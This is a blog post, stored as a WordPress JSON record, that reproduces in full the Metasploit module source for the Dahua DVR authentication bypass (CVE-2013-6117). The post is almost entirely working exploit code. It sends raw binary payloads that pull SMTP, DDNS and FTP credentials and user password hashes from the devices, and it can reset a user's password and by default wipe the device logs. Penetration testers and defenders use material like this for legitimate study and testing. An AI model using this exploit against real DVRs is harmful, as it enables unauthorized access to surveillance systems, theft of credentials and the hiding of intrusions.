{"id":59372,"date":"2024-09-01T22:39:52","date_gmt":"2024-09-01T19:39:52","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/181217\/dahua_dvr_auth_bypass.rb.txt"},"modified":"2024-09-01T22:39:52","modified_gmt":"2024-09-01T19:39:52","slug":"dahua-dvr-authentication-bypass-scanner","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/dahua-dvr-authentication-bypass-scanner\/","title":{"rendered":"Dahua DVR Authentication Bypass Scanner"},"content":{"rendered":"<p>##<br \/># This module requires Metasploit: https:\/\/metasploit.com\/download<br \/># Current source: https:\/\/github.com\/rapid7\/metasploit-framework<br \/>##<\/p>\n<p>class MetasploitModule &lt; Msf::Auxiliary<br \/>include Msf::Exploit::Remote::Tcp<br \/>include Msf::Auxiliary::Scanner<br \/>include Msf::Auxiliary::Report<\/p>\n<p>def initialize<br \/>super(<br \/>&#8216;Name&#8217; =&gt; %q(Dahua DVR Auth Bypass Scanner),<br \/>&#8216;Description&#8217; =&gt; %q(Scans for Dahua-based DVRs and then grabs settings. Optionally resets a user&#8217;s password and clears the device logs),<br \/>&#8216;Author&#8217; =&gt; [<br \/>&#8216;Tyler Bennett &#8211; Talos Consulting&#8217;, # Metasploit module<br \/>&#8216;Jake Reynolds &#8211; Depth Security&#8217;, # Vulnerability Discoverer<br \/>&#8216;Jon Hart &lt;jon_hart[at]rapid7.com&gt;&#8217;, # improved metasploit module<br \/>&#8216;Nathan McBride&#8217; # regex extraordinaire<br \/>],<br \/>&#8216;References&#8217; =&gt; [<br \/>[ &#8216;CVE&#8217;, &#8216;2013-6117&#8217; ],<br \/>[ &#8216;URL&#8217;, &#8216;https:\/\/depthsecurity.com\/blog\/dahua-dvr-authentication-bypass-cve-2013-6117&#8217; ]],<br \/>&#8216;License&#8217; =&gt; MSF_LICENSE,<br \/>&#8216;DefaultAction&#8217; =&gt; &#8216;VERSION&#8217;,<br \/>&#8216;Actions&#8217; =&gt;<br \/>[<br \/>[ &#8216;CHANNEL&#8217;, { &#8216;Description&#8217; =&gt; &#8216;Obtain the channel\/camera information from the DVR&#8217; } ],<br \/>[ &#8216;DDNS&#8217;, { &#8216;Description&#8217; =&gt; &#8216;Obtain the DDNS settings from the DVR&#8217; } ],<br \/>[ &#8216;EMAIL&#8217;, { &#8216;Description&#8217; =&gt; &#8216;Obtain the email settings from the DVR&#8217; } ],<br \/>[ &#8216;GROUP&#8217;, { &#8216;Description&#8217; =&gt; &#8216;Obtain the group information the DVR&#8217; } ],<br \/>[ &#8216;NAS&#8217;, { &#8216;Description&#8217; =&gt; &#8216;Obtain the NAS settings from the DVR&#8217; } ],<br \/>[ &#8216;RESET&#8217;, { &#8216;Description&#8217; =&gt; &#8216;Reset an existing user\\&#8217;s password on the DVR&#8217; } ],<br \/>[ &#8216;SERIAL&#8217;, { &#8216;Description&#8217; =&gt; &#8216;Obtain the serial number from the DVR&#8217; } ],<br \/>[ &#8216;USER&#8217;, { &#8216;Description&#8217; =&gt; &#8216;Obtain the user information from the DVR&#8217; } ],<br \/>[ &#8216;VERSION&#8217;, { &#8216;Description&#8217; =&gt; &#8216;Obtain the version of the DVR&#8217; } ]])<\/p>\n<p>register_options([<br \/>OptString.new(&#8216;USERNAME&#8217;, [false, &#8216;A username to reset&#8217;, &#8216;888888&#8217;]),<br \/>OptString.new(&#8216;PASSWORD&#8217;, [false, &#8216;A password to reset the user with, if not set a random pass will be generated.&#8217;]),<br \/>OptBool.new(&#8216;CLEAR_LOGS&#8217;, [true, %q(Clear the DVR logs when we&#8217;re done?), true]),<br \/>Opt::RPORT(37777)<br \/>])<br \/>end<\/p>\n<p>U1 = &#8220;\\xa1\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00&#8221; \\<br \/>&#8220;\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00&#8221;<br \/>DVR_RESP = &#8220;\\xb1\\x00\\x00\\x58\\x00\\x00\\x00\\x00&#8221;<br \/># Payload to grab version of the DVR<br \/>VERSION = &#8220;\\xa4\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x08\\x00\\x00\\x00\\x00\\x00\\x00\\x00&#8221; \\<br \/>&#8220;\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00&#8221;<br \/># Payload to grab Email Settings of the DVR<br \/>EMAIL = &#8220;\\xa3\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x63\\x6f\\x6e\\x66\\x69\\x67\\x00\\x00&#8221; \\<br \/>&#8220;\\x0b\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00&#8221;<br \/># Payload to grab DDNS Settings of the DVR<br \/>DDNS = &#8220;\\xa3\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x63\\x6f\\x6e\\x66\\x69\\x67\\x00\\x00&#8221; \\<br \/>&#8220;\\x8c\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00&#8221;<br \/># Payload to grab NAS Settings of the DVR<br \/>NAS = &#8220;\\xa3\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x63\\x6f\\x6e\\x66\\x69\\x67\\x00\\x00&#8221; \\<br \/>&#8220;\\x25\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00&#8221;<br \/># Payload to grab the Channels that each camera is assigned to on the DVR<br \/>CHANNELS = &#8220;\\xa8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00&#8221; \\<br \/>&#8220;\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00&#8221; \\<br \/>&#8220;\\xa8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00&#8221; \\<br \/>&#8220;\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00&#8221;<br \/># Payload to grab the Users Groups of the DVR<br \/>GROUPS = &#8220;\\xa6\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x05\\x00\\x00\\x00\\x00\\x00\\x00\\x00&#8221; \\<br \/>&#8220;\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00&#8221;<br \/># Payload to grab the Users and their hashes from the DVR<br \/>USERS = &#8220;\\xa6\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x09\\x00\\x00\\x00\\x00\\x00\\x00\\x00&#8221; \\<br \/>&#8220;\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00&#8221;<br \/># Payload to grab the Serial Number of the DVR<br \/>SN = &#8220;\\xa4\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x07\\x00\\x00\\x00\\x00\\x00\\x00\\x00&#8221; \\<br \/>&#8220;\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00&#8221;<br \/># Payload to clear the logs of the DVR<br \/>CLEAR_LOGS1 = &#8220;\\x60\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x90\\x00\\x00\\x00\\x00\\x00\\x00\\x00&#8221; \\<br \/>&#8220;\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00&#8221;<br \/>CLEAR_LOGS2 = &#8220;\\x60\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x09\\x00\\x00\\x00\\x00\\x00\\x00\\x00&#8221; \\<br \/>&#8220;\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00&#8221;<\/p>\n<p>def setup<br \/>@password = datastore[&#8216;PASSWORD&#8217;]@password ||= Rex::Text.rand_text_alpha(6)<br \/>end<\/p>\n<p>def grab_version<br \/>connect<br \/>sock.put(VERSION)<br \/>data = sock.get_once<br \/>return unless data =~ \/[\\x00]{8,}([[:print:]]+)\/<br \/>ver = Regexp.last_match[1]print_good(&#8220;#{peer} &#8212; version: #{ver}&#8221;)<br \/>end<\/p>\n<p>def grab_serial<br \/>connect<br \/>sock.put(SN)<br \/>data = sock.get_once<br \/>return unless data =~ \/[\\x00]{8,}([[:print:]]+)\/<br \/>serial = Regexp.last_match[1]print_good(&#8220;#{peer} &#8212; serial number: #{serial}&#8221;)<br \/>end<\/p>\n<p>def grab_email<br \/>connect<br \/>sock.put(EMAIL)<br \/>return unless (response = sock.get_once)<br \/>data = response.split(&#8216;&amp;&amp;&#8217;)<br \/>print_good(&#8220;#{peer} &#8212; Email Settings:&#8221;)<br \/>return unless data.first =~ \/([\\x00]{8,}(?=.{1,255}$)[0-9A-Z](?:(?:[0-9A-Z]|-){0,61}[0-9A-Z])?(?:\\.[0-9A-Z](?:(?:[0-9A-Z]|-){0,61}[0-9A-Z])?)*\\.?+:\\d+)\/i<br \/>if mailhost = Regexp.last_match[1].split(&#8216;:&#8217;)<br \/>print_status(&#8220;#{peer} &#8212; Server: #{mailhost[0]}&#8221;) unless mailhost[0].blank?<br \/>print_status(&#8220;#{peer} &#8212; Server Port: #{mailhost[1]}&#8221;) unless mailhost[1].blank?<br \/>print_status(&#8220;#{peer} &#8212; Destination Email: #{data[1]}&#8221;) unless data[1].blank?<br \/>mailserver = &#8220;#{mailhost[0]}&#8221;<br \/>mailport = &#8220;#{mailhost[1]}&#8221;<br \/>muser = &#8220;#{data[5]}&#8221;<br \/>mpass = &#8220;#{data[6]}&#8221;<br \/>end<br \/>return if muser.blank? &amp;&amp; mpass.blank?<br \/>print_good(&#8221; SMTP User: #{data[5]}&#8221;)<br \/>print_good(&#8221; SMTP Password: #{data[6]}&#8221;)<br \/>return unless mailserver.blank? &amp;&amp; mailport.blank? &amp;&amp; muser.blank? &amp;&amp; mpass.blank?<br \/>report_email_cred(mailserver, mailport, muser, mpass)<br \/>end<\/p>\n<p>def grab_ddns<br \/>connect<br \/>sock.put(DDNS)<br \/>return unless (response = sock.get_once)<br \/>data = response.split(\/&amp;&amp;[0-1]&amp;&amp;\/)<br \/>ddns_table = Rex::Text::Table.new(<br \/>&#8216;Header&#8217; =&gt; &#8216;Dahua DDNS Settings&#8217;,<br \/>&#8216;Indent&#8217; =&gt; 1,<br \/>&#8216;Columns&#8217; =&gt; [&#8216;Peer&#8217;, &#8216;DDNS Service&#8217;, &#8216;DDNS Server&#8217;, &#8216;DDNS Port&#8217;, &#8216;Domain&#8217;, &#8216;Username&#8217;, &#8216;Password&#8217;])<br \/>data.each_with_index do |val, index|<br \/>next if index == 0<br \/>val = val.split(&#8220;&amp;&amp;&#8221;)<br \/>ddns_service = val[0]ddns_server = val[1]ddns_port = val[2]ddns_domain = val[3]ddns_user = val[4]ddns_pass = val[5]ddns_table &lt;&lt; [ peer, ddns_service, ddns_server, ddns_port, ddns_domain, ddns_user, ddns_pass ]unless ddns_server.blank? &amp;&amp; ddns_port.blank? &amp;&amp; ddns_user.blank? &amp;&amp; ddns_pass.blank?<br \/>if datastore[&#8216;VERBOSE&#8217;]ddns_table.print<br \/>end<br \/>report_ddns_cred(ddns_server, ddns_port, ddns_user, ddns_pass)<br \/>end<br \/>end<br \/>end<\/p>\n<p>def grab_nas<br \/>connect<br \/>sock.put(NAS)<br \/>return unless (data = sock.get_once)<br \/>print_good(&#8220;#{peer} &#8212; NAS Settings:&#8221;)<br \/>server = &#8221;<br \/>port = &#8221;<br \/>if data =~ \/[\\x00]{8,}[\\x01][\\x00]{3,3}([\\x0-9a-f]{4,4})([\\x0-9a-f]{2,2})\/<br \/>server = Regexp.last_match[1].unpack(&#8216;C*&#8217;).join(&#8216;.&#8217;)<br \/>port = Regexp.last_match[2].unpack(&#8216;S&#8217;)<br \/>end<br \/>if \/[\\x00]{16,}(?&lt;ftpuser&gt;[[:print:]]+)[\\x00]{16,}(?&lt;ftppass&gt;[[:print:]]+)\/ =~ data<br \/>ftpuser.strip!<br \/>ftppass.strip!<br \/>unless ftpuser.blank? || ftppass.blank?<br \/>print_good(&#8220;#{peer} &#8212; NAS Server: #{server}&#8221;)<br \/>print_good(&#8220;#{peer} &#8212; NAS Port: #{port}&#8221;)<br \/>print_good(&#8220;#{peer} &#8212; FTP User: #{ftpuser}&#8221;)<br \/>print_good(&#8220;#{peer} &#8212; FTP Pass: #{ftppass}&#8221;)<br \/>report_creds(<br \/>host: server,<br \/>port: port,<br \/>user: ftpuser,<br \/>pass: ftppass,<br \/>type: &#8220;FTP&#8221;,<br \/>active: true)<br \/>end<br \/>end<br \/>end<\/p>\n<p>def grab_channels<br \/>connect<br \/>sock.put(CHANNELS)<br \/>data = sock.get_once.split(&#8216;&amp;&amp;&#8217;)<br \/>channels_table = Rex::Text::Table.new(<br \/>&#8216;Header&#8217; =&gt; &#8216;Dahua Camera Channels&#8217;,<br \/>&#8216;Indent&#8217; =&gt; 1,<br \/>&#8216;Columns&#8217; =&gt; [&#8216;ID&#8217;, &#8216;Peer&#8217;, &#8216;Channels&#8217;])<br \/>return unless data.length &gt; 1<br \/>data.each_with_index do |val, index|<br \/>number = index.to_s<br \/>channels = val[\/([[:print:]]+)\/]channels_table &lt;&lt; [ number, peer, channels ]end<br \/>channels_table.print<br \/>end<\/p>\n<p>def grab_users<br \/>connect<br \/>sock.put(USERS)<br \/>return unless (response = sock.get_once)<br \/>data = response.split(&#8216;&amp;&amp;&#8217;)<br \/>usercount = 0<br \/>users_table = Rex::Text::Table.new(<br \/>&#8216;Header&#8217; =&gt; &#8216;Dahua Users Hashes and Rights&#8217;,<br \/>&#8216;Indent&#8217; =&gt; 1,<br \/>&#8216;Columns&#8217; =&gt; [&#8216;Peer&#8217;, &#8216;Username&#8217;, &#8216;Password Hash&#8217;, &#8216;Groups&#8217;, &#8216;Permissions&#8217;, &#8216;Description&#8217;])<br \/>data.each do |val|<br \/>usercount += 1<br \/>user, md5hash, groups, rights, name = val.match(\/^.*:(.*):(.*):(.*):(.*):(.*):(.*)$\/).captures<br \/>users_table &lt;&lt; [ peer, user, md5hash, groups, rights, name]# Write the dahua hash to the database<br \/>hash = &#8220;#{rhost} #{user}:$dahua$#{md5hash}&#8221;<br \/>report_hash(rhost, rport, user, hash)<br \/># Write the vulnerability to the database<br \/>report_vuln(<br \/>host: rhost,<br \/>port: rport,<br \/>proto: &#8216;tcp&#8217;,<br \/>sname: &#8216;dvr&#8217;,<br \/>name: &#8216;Dahua Authentication Password Hash Exposure&#8217;,<br \/>info: &#8220;Obtained password hash for user #{user}: #{md5hash}&#8221;,<br \/>refs: references<br \/>)<br \/>end<br \/>users_table.print<br \/>end<\/p>\n<p>def grab_groups<br \/>connect<br \/>sock.put(GROUPS)<br \/>return unless (response = sock.get_once)<br \/>data = response.split(&#8216;&amp;&amp;&#8217;)<br \/>groups_table = Rex::Text::Table.new(<br \/>&#8216;Header&#8217; =&gt; &#8216;Dahua groups&#8217;,<br \/>&#8216;Indent&#8217; =&gt; 1,<br \/>&#8216;Columns&#8217; =&gt; [&#8216;ID&#8217;, &#8216;Peer&#8217;, &#8216;Group&#8217;])<br \/>data.each do |val|<br \/>number = &#8220;#{val[\/(([\\d]+))\/]}&#8221;<br \/>groups = &#8220;#{val[\/(([a-z]+))\/]}&#8221;<br \/>groups_table &lt;&lt; [ number, peer, groups ]end<br \/>groups_table.print<br \/>end<\/p>\n<p>def reset_user<br \/>connect<br \/>userstring = datastore[&#8216;USERNAME&#8217;] + &#8220;:Intel:&#8221; + @password + &#8220;:&#8221; + @password<br \/>u1 = &#8220;\\xa4\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x1a\\x00\\x00\\x00\\x00\\x00\\x00\\x00&#8221; \\<br \/>&#8220;\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00&#8221;<br \/>u2 = &#8220;\\xa4\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x08\\x00\\x00\\x00\\x00\\x00\\x00\\x00&#8221; \\<br \/>&#8220;\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00&#8221;<br \/>u3 = &#8220;\\xa6\\x00\\x00\\x00#{userstring.length.chr}\\x00\\x00\\x00\\x0a\\x00\\x00\\x00\\x00\\x00\\x00\\x00&#8221; \\<br \/>&#8220;\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00&#8221; + userstring<br \/>sock.put(u1)<br \/>sock.put(u2)<br \/>sock.put(u3)<br \/>sock.get_once<br \/>sock.put(u1)<br \/>return unless sock.get_once<br \/>print_good(&#8220;#{peer} &#8212; user #{datastore[&#8216;USERNAME&#8217;]}&#8217;s password reset to #{@password}&#8221;)<br \/>end<\/p>\n<p>def clear_logs<br \/>connect<br \/>sock.put(CLEAR_LOGS1)<br \/>sock.put(CLEAR_LOGS2)<br \/>print_good(&#8220;#{peer} &#8212; logs cleared&#8221;)<br \/>end<\/p>\n<p>def peer<br \/>&#8220;#{rhost}:#{rport}&#8221;<br \/>end<\/p>\n<p>def run_host(_ip)<br \/>begin<br \/>connect<br \/>sock.put(U1)<br \/>data = sock.recv(8)<br \/>disconnect<br \/>return unless data == DVR_RESP<br \/>print_good(&#8220;#{peer} &#8212; Dahua-based DVR found&#8221;)<br \/>report_service(host: rhost, port: rport, sname: &#8216;dvr&#8217;, info: &#8220;Dahua-based DVR&#8221;)<\/p>\n<p>case action.name.upcase<br \/>when &#8216;CHANNEL&#8217;<br \/>grab_channels<br \/>when &#8216;DDNS&#8217;<br \/>grab_ddns<br \/>when &#8216;EMAIL&#8217;<br \/>grab_email<br \/>when &#8216;GROUP&#8217;<br \/>grab_groups<br \/>when &#8216;NAS&#8217;<br \/>grab_nas<br \/>when &#8216;RESET&#8217;<br \/>reset_user<br \/>when &#8216;SERIAL&#8217;<br \/>grab_serial<br \/>when &#8216;USER&#8217;<br \/>grab_users<br \/>when &#8216;VERSION&#8217;<br \/>grab_version<br \/>end<\/p>\n<p>clear_logs if datastore[&#8216;CLEAR_LOGS&#8217;]ensure<br \/>disconnect<br \/>end<br \/>end<\/p>\n<p>def report_hash(rhost, rport, user, hash)<br \/>service_data = {<br \/>address: rhost,<br \/>port: rport,<br \/>service_name: &#8216;dahua_dvr&#8217;,<br \/>protocol: &#8216;tcp&#8217;,<br \/>workspace_id: myworkspace_id<br \/>}<\/p>\n<p>credential_data = {<br \/>module_fullname: fullname,<br \/>origin_type: :service,<br \/>private_data: hash,<br \/>private_type: :nonreplayable_hash,<br \/>jtr_format: &#8216;dahua_hash&#8217;,<br \/>username: user<br \/>}.merge(service_data)<\/p>\n<p>login_data = {<br \/>core: create_credential(credential_data),<br \/>status: Metasploit::Model::Login::Status::UNTRIED<br \/>}.merge(service_data)<\/p>\n<p>create_credential_login(login_data)<br \/>end<\/p>\n<p>def report_ddns_cred(ddns_server, ddns_port, ddns_user, ddns_pass)<br \/>service_data = {<br \/>address: ddns_server,<br \/>port: ddns_port,<br \/>service_name: &#8216;ddns settings&#8217;,<br \/>protocol: &#8216;tcp&#8217;,<br \/>workspace_id: myworkspace_id<br \/>}<\/p>\n<p>credential_data = {<br \/>module_fullname: fullname,<br \/>origin_type: :service,<br \/>private_data: ddns_pass,<br \/>private_type: :password,<br \/>username: ddns_user<br \/>}.merge(service_data)<\/p>\n<p>login_data = {<br \/>core: create_credential(credential_data),<br \/>status: Metasploit::Model::Login::Status::UNTRIED<br \/>}.merge(service_data)<\/p>\n<p>create_credential_login(login_data)<br \/>end<\/p>\n<p>def report_email_cred(mailserver, mailport, muser, mpass)<br \/>service_data = {<br \/>address: mailserver,<br \/>port: mailport,<br \/>service_name: &#8217;email settings&#8217;,<br \/>protocol: &#8216;tcp&#8217;,<br \/>workspace_id: myworkspace_id<br \/>}<\/p>\n<p>credential_data = {<br \/>module_fullname: fullname,<br \/>origin_type: :service,<br \/>private_data: mpass,<br \/>private_type: :password,<br \/>username: muser<br \/>}.merge(service_data)<\/p>\n<p>login_data = {<br \/>core: create_credential(credential_data),<br \/>status: Metasploit::Model::Login::Status::UNTRIED<br \/>}.merge(service_data)<\/p>\n<p>create_credential_login(login_data)<br \/>end<br \/>end<\/p>\n","protected":false},"excerpt":{"rendered":"<p>### This module requires Metasploit: https:\/\/metasploit.com\/download# Current source: https:\/\/github.com\/rapid7\/metasploit-framework## class MetasploitModule &lt; Msf::Auxiliaryinclude Msf::Exploit::Remote::Tcpinclude Msf::Auxiliary::Scannerinclude Msf::Auxiliary::Report def initializesuper(&#8216;Name&#8217; =&gt; %q(Dahua DVR Auth Bypass Scanner),&#8216;Description&#8217; =&gt; %q(Scans for Dahua-based DVRs and then grabs settings. Optionally resets a user&#8217;s password and clears the device logs),&#8216;Author&#8217; =&gt; [&#8216;Tyler Bennett &#8211; Talos Consulting&#8217;, # Metasploit module&#8216;Jake Reynolds &#8211; Depth &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-59372","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59372","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=59372"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59372\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=59372"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=59372"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=59372"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}